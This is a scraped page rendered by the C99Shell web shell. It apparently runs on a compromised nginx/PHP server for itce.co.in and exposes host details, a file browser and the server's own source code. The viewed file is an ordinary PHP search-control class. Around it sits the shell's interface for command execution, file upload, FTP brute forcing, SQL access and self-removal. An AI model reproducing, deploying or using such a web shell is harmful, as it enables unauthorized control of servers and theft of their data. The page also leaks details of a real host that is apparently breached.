!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     panelsearchcontrol.php (2.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * SearchControl builder for search panel on list
 */
class PanelSearchControl extends SearchControl 
{
    
/**
     * Get controls attrs only for the Search panel
     * @param String fName                 The search field's name    
     * @param Number recId                 The search field row's Id
     * @param Number fieldNum             The search field control's index (0 for the first, 1 for the second)
     * @param String value                 The search control's value
     * @param String opt                 The search control's search option
     * @param Boolean renderHidden         Indicator showing if the search control is visible    
     * @param Boolean isCached             Indicator showing if the search control is cached
     * @return Array
     */
    
function getCtrlParamsArr($fName$recId$fieldNum$value$opt$renderHidden false$isCached true
    {
        
$parameters parent::buildCtrlParamsArr($fName$recId$fieldNum$value$opt$renderHidden$isCached);
        
        
$control = array();
        
        
$parameters["additionalCtrlParams"]["searchPanelControl"] = true;
        
$parameters["additionalCtrlParams"]["style"] = $this->pageObj->mobileTemplateMode() ? 'width: 35%;' :'width: 115px;';
        
        
$ctrlsMap $this->getExtraControlMap();
        
$this->pageObj->fillControlsMap($ctrlsMap,true);
        
        return 
XTempl::create_function_assignment"xt_buildeditcontrol"$parameters );
    }
    
    
/**
     * Get the extra search control's map array 
     * @return Array
     */ 
    
protected function getExtraControlMap()
    {
        
$ctrlsMap = array("controls" => array());
        
$ctrlsMap["controls"]["skipDependencies"] = true;
        
        return 
$ctrlsMap;
    }
    
    function 
simpleSearchFieldCombo($fNamesArr$selOpt
    {
        
$options "";
        if (
sizeof($this->pSet->getGoogleLikeFields()) != 0)
            
$options '<option value="" >'."Any field".'</option>';
        
        foreach(
$fNamesArr as $fName)
        {
            
$fLabel GetFieldLabel(GoodFieldName($this->tName), GoodFieldName($fName));
            
$options .= '<option value="'.$fName.'" '.($selOpt == $fName 'selected' '').'>'.$fLabel.'</option>';
        }
        return 
$options;
    }
    
    
/**
     * @return String
     */
    
function getCtrlSearchTypeOptions($fName$selOpt$not$flexible false$both false
    {    
        if( !
$flexible && ($selOpt == EMPTY_SEARCH || $selOpt == NOT_EMPTY) ) 
            return 
$this->getControl($fName)->buildSearchOptions(array(EMPTY_SEARCHNOT_EMPTY), $selOpt$nottrue);
            
        return 
$this->getControl($fName)->getSearchOptions($selOpt$nottrue); 
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.002 ]--